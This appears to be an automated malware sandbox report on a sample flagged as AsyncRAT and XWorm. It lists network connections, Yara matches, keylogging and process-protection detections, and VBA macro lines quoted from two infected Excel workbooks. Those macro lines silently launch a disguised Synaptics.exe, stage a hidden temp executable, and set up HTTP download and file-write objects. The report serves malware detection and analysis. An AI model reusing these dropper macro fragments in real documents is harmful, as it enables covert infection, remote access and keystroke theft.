Source: unknown	Network traffic detected: HTTP traffic on port 56222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56486 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56519 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56039 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56578 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56119 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56337 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56612 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56507 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56532 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56475 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56613
Source: unknown	Network traffic detected: HTTP traffic on port 56498 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56614
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56615
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56612
Source: unknown	Network traffic detected: HTTP traffic on port 56074 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56051 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56131 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56164 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56221 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56040 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56507
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56628
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56629
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56624
Source: unknown	Network traffic detected: HTTP traffic on port 56210 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56153 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56506
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56620
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56621
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56501
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 56622
Source: unknown	Network traffic detected: HTTP traffic on port 56108 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56326 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56601 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56371 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56014 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56117 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56530 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56190 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56223 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56200 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56613 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56476 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56373 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56624 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55996 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56106 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56140 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56052 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56658 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56211 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56234 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56327 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 56602 -> 443

Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:55996 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:55997 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56005 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56007 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56011 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56010 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56018 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56024 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56033 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56032 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56034 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56039 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56041 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56043 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56051 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56052 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56059 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56060 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56069 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56070 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56072 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56075 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56078 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56080 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56089 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56086 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56095 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56105 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56103 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56108 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56109 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56110 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56111 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56115 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56114 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56122 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56121 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56123 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56124 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56138 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56144 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56148 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56149 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56157 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56159 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56164 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56169 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56171 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56172 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56176 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56178 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56183 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56185 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56192 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56193 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56195 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56196 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56198 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56202 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56210 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56212 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56215 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56217 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56222 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56226 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56225 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56236 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56234 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56238 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56240 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56247 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56248 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56250 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56249 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56263 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56264 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56296 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56299 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56307 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56309 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56326 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56327 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56335 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56336 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56370 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56371 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56389 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56388 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56392 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56391 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56403 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56405 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56412 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56413 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56429 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56431 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56443 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56445 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56454 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56455 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56474 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56476 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56486 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56489 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56496 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56498 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56516 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56520 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56517 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56519 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56528 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56530 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56539 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56540 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56560 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56558 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56569 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56570 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56579 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56578 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56592 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56591 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56601 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56602 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56603 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56604 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56613 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56612 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56620 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56621 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56640 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.193:443 -> 192.168.2.7:56639 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56647 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56648 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56656 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.74.206:443 -> 192.168.2.7:56658 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected AsyncRAT

Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.._cache_svchost.exe.870000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.4b8e14.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.0.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ._cache_svchost.exe PID: 4716, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\._cache_svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\svchost.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED

Contains functionality to log keystrokes (.Net Source)

Source: ._cache_svchost.exe.5.dr, XLogger.cs	.Net Code: KeyboardLayout
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, XLogger.cs	.Net Code: KeyboardLayout
Source: svchost.exe.7.dr, XLogger.cs	.Net Code: KeyboardLayout

Source: Yara match	File source: 4.2.Fulloptionnew_by elegance.exe.7ff771dc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.Fulloptionnew_by elegance.exe.7ff771dc0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000000.1557738009.00007FF771F61000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3995728707.00007FF771F62000.00000008.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Roaming\Fulloptionnew_by elegance.exe, type: DROPPED

Operating System Destruction

Protects its processes via BreakOnTermination flag

Source: C:\Users\user\Desktop\._cache_svchost.exe

Process information set: 01 00 00 00

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.0.svchost.exe.4b8e14.1.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 5.0.svchost.exe.4b8e14.1.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 7.0.._cache_svchost.exe.870000.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 7.0.._cache_svchost.exe.870000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 5.0.svchost.exe.4b8e14.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 5.0.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: 5.0.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000007.00000000.1569463139.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000005.00000000.1561083205.00000000004B0000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\Desktop\._cache_svchost.exe, type: DROPPED	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: C:\Users\user\Desktop\._cache_svchost.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\svchost.exe, type: DROPPED	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: C:\Users\user\svchost.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED	Matched rule: Finds XWorm (version XClient, v3) samples based on characteristic strings Author: Sekoia.io
Source: C:\Users\user\AppData\Roaming\svchost.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Document contains an embedded VBA macro with suspicious strings

Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: 5hfnY6TV.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: FN = Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe"
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Set myWS = CreateObject("WScript.Shell")
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: TMP = Environ("Temp") & "\~$cache1.exe"
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: If FSO.FileExists(Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe") Then
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Shell Environ("ALLUSERSPROFILE") & "\Synaptics\Synaptics.exe", vbHide
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: ElseIf FSO.FileExists(Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe") Then
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Shell Environ("WINDIR") & "\System32\Synaptics\Synaptics.exe", vbHide
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
Source: GAOBCVIQIJ.xlsm.3.dr	OLE, VBA macro line: Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5")

Document contains an embedded VBA with functions possibly related to ADO stream file operations

Source: 5hfnY6TV.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write
Source: GAOBCVIQIJ.xlsm.3.dr	Stream path 'VBA/ThisWorkbook' : found possibly 'ADODB.Stream' functions open, read, savetofile, write

Document contains an embedded VBA with functions possibly related to HTTP operations

